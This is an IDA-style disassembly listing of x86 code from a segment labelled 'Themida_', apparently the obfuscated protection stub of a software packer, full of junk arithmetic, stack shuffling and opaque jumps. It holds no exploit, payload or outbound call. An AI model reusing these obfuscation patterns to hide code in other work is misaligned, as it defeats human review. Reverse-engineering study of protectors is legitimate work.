		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	al, cl
		add	al, 0A9h
		pop	cx
		push	dx
		mov	dl, 0BFh
		inc	dl
		sub	dl, 25h
		jmp	loc_5974D6
; ---------------------------------------------------------------------------


loc_592B7C:				; CODE XREF: Themida_:00592C32j
		or	cl, 8Bh
		or	cl, 0D6h
		jmp	loc_58B73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592B87:				; CODE XREF: sub_58E66C:loc_58C1D5j
					; sub_597088-3C1Ej
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_4]
		jmp	loc_58F228
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592B93:				; CODE XREF: sub_596082-1041j
		push	7CB8h
		mov	[esp+2Ah+var_2A], edi
		jmp	loc_5951C8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_592BA0:				; CODE XREF: sub_5952B4-7478j
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_58B08D
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------


loc_592BA9:				; CODE XREF: Themida_:0058EBF1j
		mov	edi, [esp]
		jmp	loc_590918
; ---------------------------------------------------------------------------


loc_592BB1:				; CODE XREF: Themida_:00592964j
		mov	[esp], edx
		mov	edx, 0FEh
		and	[edi+1Ch], edx
		jmp	loc_58EEFA
; ---------------------------------------------------------------------------


loc_592BC1:				; CODE XREF: Themida_:00591A9Bj
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 355B246Ch
		jmp	loc_58A5CF
; ---------------------------------------------------------------------------


loc_592BE3:				; CODE XREF: Themida_:00590D35j
		jmp	loc_58ACE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_592BE8:				; CODE XREF: sub_59236E-46D7j
		sub	edi, 39416D1Dh
		mov	ebx, edi
		pop	edi
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+4+var_4]
		jmp	loc_5927F2
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592BFC:				; CODE XREF: sub_58E66C+7E88j
		jmp	loc_5927D8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_592C01:				; CODE XREF: Themida_:00593507j
		add	eax, edi
		pop	edi
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_594C31
; ---------------------------------------------------------------------------


loc_592C11:				; CODE XREF: Themida_:0058A6C1j
		mov	esp, [esp]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	6C1Ch
		mov	[esp], ecx
		push	edx
		mov	dl, 0E5h
		mov	cl, 3Ah
		sub	cl, dl
		pop	edx
		push	eax
		mov	al, 8Ah
		add	cl, al
		pop	eax
		jmp	loc_592B7C
; ---------------------------------------------------------------------------


loc_592C37:				; CODE XREF: Themida_:0058D651j
		pop	eax
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_58A903
; ---------------------------------------------------------------------------


loc_592C48:				; CODE XREF: Themida_:00594B68j
		pop	esp
		jmp	loc_58B5B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_592C4E:				; CODE XREF: sub_591C99+26D6j
		neg	edx
		jmp	loc_58C2FE
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_592C55:				; CODE XREF: Themida_:005926B7j
		mov	[esp], dx
		mov	dh, 80h
		jmp	loc_58F76B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_592C60:				; CODE XREF: sub_58F160-3864j
		jmp	loc_595BB6
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_592C65:				; CODE XREF: sub_5F45E7-61114j
		shr	al, 7
		jmp	loc_58A6A1
; END OF FUNCTION CHUNK	FOR sub_5F45E7

; =============== S U B	R O U T	I N E =======================================



sub_592C6D	proc near		; CODE XREF: sub_58A7D7+5669j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058E2B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596F1F SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		pop	edx
		jmp	loc_58E2B3
sub_592C6D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_592C79:				; CODE XREF: sub_596BF6-1971j
		push	ecx
		push	7C4E2FD3h
		pop	ecx
		mov	edx, ecx
		push	[esp-8+arg_4]
		pop	ecx
		add	esp, 4
		sub	[esp+4], edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5944C6
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_592C9B:				; CODE XREF: Themida_:0059499Cj
		push	5E16h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_59455E
; ---------------------------------------------------------------------------


loc_592CB9:				; CODE XREF: Themida_:0058BD99j
		mov	ecx, [esp]
		jmp	loc_59510E
; ---------------------------------------------------------------------------


loc_592CC1:				; CODE XREF: Themida_:005962A4j
		add	ebx, 0BA0FD0B5h
		mov	ecx, ebx
		pop	ebx
		add	edx, ecx
		pop	ecx
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_59311F
; ---------------------------------------------------------------------------


loc_592CD7:				; CODE XREF: Themida_:0058C999j
		js	loc_591FB9
		xor	eax, 38287A18h
		jmp	loc_590F80
; ---------------------------------------------------------------------------
		xor	ah, 63h
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592CEA:				; CODE XREF: sub_58E66C+28E0j
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp+2+var_4+2]
		jmp	loc_58D447
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_592CFD:				; CODE XREF: sub_5925A4-1161j
		add	ah, 0EBh
		jmp	loc_5930F9
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_592D05:				; CODE XREF: Themida_:0058D980j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5951D5
; ---------------------------------------------------------------------------


loc_592D10:				; CODE XREF: Themida_:00594531j
		pop	ebx
		jmp	loc_58E308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592D16:				; CODE XREF: sub_596082-60EDj
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, 2FAA00C2h
		jmp	loc_59689C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_592D32:				; CODE XREF: sub_594F3F+192Bj
		add	esi, edi
		jmp	loc_595974
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_592D39:				; CODE XREF: Themida_:005934AEj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58BC33
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	5416h
		jmp	loc_58FDCA
; ---------------------------------------------------------------------------
		add	word ptr [esp],	2
		pop	small word ptr [esp]
		push	si
		mov	si, 2
		sub	word ptr [esp+2], 370Fh
		add	[esp+2], si
		add	word ptr [esp+2], 370Fh
		mov	si, [esp]
		push	319Fh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_591519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592D8A:				; CODE XREF: sub_596082-40j
		mov	dx, 21A4h
		xor	dx, si
		pop	esi
		push	ebp
		mov	bp, 38B8h
		inc	bp
		xor	bp, 0E354h
		add	dx, bp
		pop	ebp
		push	si
		push	ebx
		mov	bx, 0CA8h
		xor	bx, 3CFAh
		jb	loc_595141
		shl	bx, 4
		jns	loc_5939D5
		add	bx, 6C5Ch
		mov	si, bx
		pop	ebx
		mov	edx, ecx


loc_592DC9:				; CODE XREF: sub_59729F-586Dj
		mov	[esp+0Ah+var_C+2], ebx
		push	[esp+0Ah+var_C+2]
		pop	eax
		jmp	loc_58E6C2
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592DD5:				; CODE XREF: Themida_:0058E46Fj
		jb	loc_5916B5
		sub	ecx, 1587D09Dh
		push	ecx
		add	dword ptr [esp], 76653B1Ch
		pop	ebp
		jmp	loc_58E47B
; ---------------------------------------------------------------------------


loc_592DEF:				; CODE XREF: Themida_:00594E61j
		pop	edi
		jmp	loc_5972AD
; ---------------------------------------------------------------------------


loc_592DF5:				; CODE XREF: Themida_:0058F364j
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_58D3A3
; ---------------------------------------------------------------------------


loc_592E03:				; CODE XREF: Themida_:0058C110j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5912EF
; ---------------------------------------------------------------------------


loc_592E12:				; CODE XREF: Themida_:0059324Ej
		add	eax, 233F06C2h
		jmp	loc_58C77B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5953D2


loc_592E1C:				; CODE XREF: sub_5953D2-4A9Dj
		add	ecx, 72031D34h
		xor	edi, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		neg	edi
		not	edi
		push	ebx
		mov	ebx, 1C242C7Bh
		xor	edi, ebx
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_5958FC
; END OF FUNCTION CHUNK	FOR sub_5953D2
; ---------------------------------------------------------------------------


loc_592E52:				; CODE XREF: Themida_:00594CC7j
		mov	ebp, 9B652E5h
		xor	ebp, 5C855716h
		not	ebp
		push	edi
		jmp	loc_59328E

; =============== S U B	R O U T	I N E =======================================



sub_592E65	proc near		; CODE XREF: sub_593009-5C44j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00590A89 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594D0A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005951E6 SIZE 00000019 BYTES

		push	ebp
		push	ecx
		jmp	loc_5951E6
sub_592E65	endp

; ---------------------------------------------------------------------------


loc_592E6C:				; CODE XREF: Themida_:00590720j
		add	edi, 359AFB8Eh
		sub	ebx, edi
		pop	edi
		jmp	loc_591456
; ---------------------------------------------------------------------------


loc_592E7A:				; CODE XREF: Themida_:0058B4A8j
		not	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5BFA6457h
		and	ebp, 6E3422D6h
		jmp	loc_595515
; ---------------------------------------------------------------------------


loc_592EA2:				; CODE XREF: Themida_:0058B839j
					; Themida_:loc_593F6Dj
		push	ebx
		jmp	loc_58E18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592EA8:				; CODE XREF: sub_58E66C:loc_58C3F7j
		push	edx
		not	[esp+10h+var_10]
		pop	edx
		add	edx, 0C6A798C9h
		mov	ebp, edx
		jmp	loc_58F108
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592EBA:				; CODE XREF: sub_596082-56DBj
		pop	ecx
		push	ecx
		jmp	loc_58FFD0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592EC1:				; CODE XREF: Themida_:0058BD06j
		xor	[esp], si
		xor	si, [esp]
		xor	[esp], si
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		jmp	loc_58E9AE
; ---------------------------------------------------------------------------


loc_592EDC:				; CODE XREF: Themida_:0058E070j
		neg	ebx
		add	ebx, 7F8305DCh
		push	edx
		jmp	loc_597795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592EEA:				; CODE XREF: sub_596082-55C4j
		add	ebx, edi
		sub	ebx, 6DD259B1h
		add	ebx, 50991256h
		push	dword ptr [ebx]
		push	59D7h
		mov	[esp+4+var_4], edi
		mov	edi, 24854E3Fh
		add	[esp+4], edi
		mov	edi, [esp+4+var_4]
		jmp	loc_58C38A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592F13:				; CODE XREF: Themida_:00592F29j
		add	ebp, eax
		jmp	loc_594A00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592F1A:				; CODE XREF: sub_58F160+33B6j
					; sub_596082-365Cj
		pop	esp
		dec	byte ptr [esp+0Ch+var_C]
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592F24:				; CODE XREF: Themida_:00596C53j
		xor	eax, 416E2E44h
		jmp	loc_592F13
; ---------------------------------------------------------------------------


loc_592F2E:				; CODE XREF: Themida_:0059239Cj
		not	dl
		xchg	dl, [esp]
		jmp	loc_58B8C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_592F38:				; CODE XREF: sub_58E91C+571j
		mov	[esp-0Ch+arg_8], esi
		push	2000h
		mov	esi, [esp-8+arg_4]
		push	4493h
		mov	[esp-4+arg_0], edi
		push	esp
		mov	edi, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_59060F
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_592F57:				; CODE XREF: Themida_:00594389j
		add	esp, 4
		add	ebx, eax
		jmp	loc_58EF02
; ---------------------------------------------------------------------------


loc_592F64:				; CODE XREF: Themida_:0058F55Dj
		push	ebp
		mov	ebp, 42E070E3h
		jmp	loc_58E2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592F6F:				; CODE XREF: sub_596082-BA6Fj
		mov	esi, 4D0B25E1h
		xor	esi, 6A285465h
		not	esi
		neg	esi
		sub	esi, 3B883F44h
		sub	esi, 0EB9B323Dh
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		mov	ah, dl
		jmp	loc_5919F9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592F9E:				; CODE XREF: sub_58E66C+1BF5j
		push	edi
		mov	edi, 4
		jmp	loc_590D24
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_592FA9:				; CODE XREF: sub_58AE7C+9E2Aj
		dec	bl
		shl	bl, 5
		jmp	loc_59127D
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_592FB3:				; CODE XREF: Themida_:00594255j
		sub	esi, 0D8004C7Dh
		mov	ebp, esi
		pop	esi
		shl	ebp, 4
		xor	ebp, 33FE51E7h
		or	ebp, 35DB6A58h
		xor	ebp, 40376B31h
		add	ebp, 4837EEB6h
		jmp	loc_58B3D9
; ---------------------------------------------------------------------------


loc_592FDC:				; CODE XREF: Themida_:0058CD6Dj
		push	0A3Fh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 671A7920h
		dec	ebx
		or	ebx, 162B00CDh
		xor	ebx, 773B7DDFh
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		jmp	loc_592354

; =============== S U B	R O U T	I N E =======================================



sub_593009	proc near		; CODE XREF: sub_58D2AA:loc_5901FAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h

; FUNCTION CHUNK AT 0058A80C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058A844 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A94F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058ABB7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B205 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058B329 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058B37D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B3B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B938 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BBAC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BD6A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058BE98 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C137 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C59C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C665 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C754 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C8AC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C9ED SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D08D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D3A9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D3B6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D4F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D74A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058EACD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058EE5F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F202 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F4C5 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058F595 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F77D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FCF3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FD4C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059002E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005901F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590317 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 005906D3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590DAB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005910B8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00591124 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0059155E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00591E11 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00591FD3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00592146 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005925B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005925DF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059267D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00592793 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005935A3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005937A9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005937F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593C06 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593D2E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593F36 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594126 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005948E7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00594975 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594E84 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595340 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059556E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595707 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059594F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595AF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595D5D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059637A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059658E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596BD7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005970C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005972F3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597663 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059768F SIZE 0000000B BYTES

		push	ebp
		push	7F915808h
		pop	ebp
		xor	ecx, ebp
		jmp	loc_5937A9
sub_593009	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593017:				; CODE XREF: sub_596082-A20Fj
					; Themida_:005911ECj
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xor	edx, [esp+14h+var_14]
		xor	[esp+14h+var_14], edx
		xor	edx, [esp+14h+var_14]
		pop	esp
		jmp	loc_58DB40
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_59302F:				; CODE XREF: sub_5F45E7-5F490j
		inc	ebx
		sub	ebx, 0FBCDC8A0h
		sub	ebp, 4FDC2910h
		jmp	loc_590957
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593041:				; CODE XREF: sub_596082+2F3j
		add	edi, edx
		pop	edx
		add	edi, ecx
		push	ebx
		push	ecx
		push	74A55F1h
		pop	ecx
		not	ecx
		neg	ecx
		ja	loc_5967C7
		sub	ecx, 6D437FAh
		mov	ebx, ecx
		jmp	loc_5915A6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593065:				; CODE XREF: Themida_:0058F91Fj
		push	eax
		jmp	loc_58E183
; ---------------------------------------------------------------------------


loc_59306B:				; CODE XREF: Themida_:00590E86j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 0A412B7Bh
		add	ebp, 7AC77D35h
		jmp	loc_591DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593091:				; CODE XREF: sub_58E66C+8B3j
					; sub_592C6D+42B8j
		shl	edi, 8
		or	edi, 596854AEh
		dec	edi
		xor	edi, 3F1F24BCh
		add	edi, 9D8E85F3h
		jmp	loc_592911
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5930AC:				; CODE XREF: Themida_:00594468j
		sub	dword ptr [esp+4], 0E720E20h
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58A6B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5930CF:				; CODE XREF: sub_58E66C+3371j
		pop	ebx
		mov	ebx, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4


loc_5930D8:				; CODE XREF: Themida_:0058BA8Cj
		push	191Bh
		mov	[esp-4+arg_0], eax
		push	[esp-4+arg_0]
		pop	eax
		push	73Fh
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59026C
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5930F9:				; CODE XREF: sub_5925A4+75Cj
		shr	ah, 8
		add	ah, 0ECh
		sub	dh, ah
		pop	eax
		add	dh, 87h
		sub	dh, cl
		sub	dh, 87h
		jmp	loc_5908B8
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_59310F:				; CODE XREF: Themida_:00590AB3j
		pop	edx
		push	esi
		jmp	loc_591543
; ---------------------------------------------------------------------------


loc_593116:				; CODE XREF: Themida_:0058EC8Aj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59054D
; ---------------------------------------------------------------------------


loc_59311F:				; CODE XREF: Themida_:00592CD2j
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5947E2
; ---------------------------------------------------------------------------


loc_59312D:				; CODE XREF: Themida_:0058FA03j
		jmp	loc_58FD35
; ---------------------------------------------------------------------------


loc_593132:				; CODE XREF: Themida_:005920E2j
		push	eax
		jmp	loc_5949A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_593138:				; CODE XREF: sub_58FB68+6251j
		mov	[esp-8+arg_4], ebx
		push	esp
		pop	ebx
		jmp	loc_591E79
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_593142:				; CODE XREF: sub_596FD2-57BDj
		mov	[esp+0], ebp
		sub	esp, 4
		push	esp
		pop	[esp-8+arg_4]
		add	dword ptr [esp+0], 4
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_58EA59
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_59315F:				; CODE XREF: sub_596498-71Bj
		add	eax, 62FA266Bh
		jmp	loc_58BB74
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_593169:				; CODE XREF: Themida_:005917E9j
		add	dh, 68h
		push	ebx
		mov	bh, 5Ch
		jmp	loc_594C79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_593174:				; CODE XREF: sub_5925A4-116Dj
					; Themida_:0059758Fj
		xor	ah, 0CEh
		ja	loc_5901BA
		jmp	loc_591AFF
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
		push	edx
		mov	edi, ebx
		mov	ch, 0E4h
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593187:				; CODE XREF: sub_596082-87D9j
		push	esi
		push	2F6B5387h
		push	[esp+1Eh+var_20+2]
		pop	esi
		add	esp, 4
		add	esi, 1F5356C1h
		jp	loc_59357F
		dec	esi
		jz	loc_58EE39
		jmp	loc_58FBD7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5931AC:				; CODE XREF: Themida_:00595B70j
		mov	esi, esp
		push	ebp
		mov	ebp, 6D7C6EB1h
		shl	ebp, 6
		and	ebp, 2644494Bh
		sub	ebp, 284912E6h
		add	ebp, 25414F98h
		shr	ebp, 4
		sub	esp, 4
		jmp	loc_58C60B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_5931D4:				; CODE XREF: sub_58C878+76B9j
		mov	dl, bl
		pop	ebx
		pop	eax
		mov	bl, dl
		mov	edx, [esp+0]
		jmp	loc_58C4C3
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_5931E2:				; CODE XREF: Themida_:0058EFEEj
		mov	dh, 0FAh
		and	ch, dh
		pop	dx
		push	ebx
		mov	bh, 0D5h
		and	bh, 28h
		dec	bh
		add	bh, 0D4h
		xor	bh, 3Fh
		add	ch, bh
		pop	ebx
		mov	dh, ch
		jmp	loc_5917E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593200:				; CODE XREF: sub_58E66C-1617j
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebx
		sub	esp, 4
		mov	[esp+12h+var_14+2], edi
		sub	esp, 4
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 135B66E5h
		mov	edi, ecx
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		sub	[esp+12h+var_10+2], edi
		pop	edi
		push	[esp+0Eh+var_10+2]
		jmp	loc_58B2AD
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_593235:				; CODE XREF: Themida_:00594397j
					; Themida_:00597071j
		push	6FFFh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_593244:				; CODE XREF: Themida_:loc_5943A0j
		not	esi
		jmp	loc_58EA7B
; ---------------------------------------------------------------------------


loc_59324B:				; CODE XREF: Themida_:0058B3E3j
		not	eax
		inc	eax
		jnp	loc_592E12
		add	eax, 233F06C2h
		jmp	loc_58D507
; ---------------------------------------------------------------------------
		jmp	loc_58BE0B
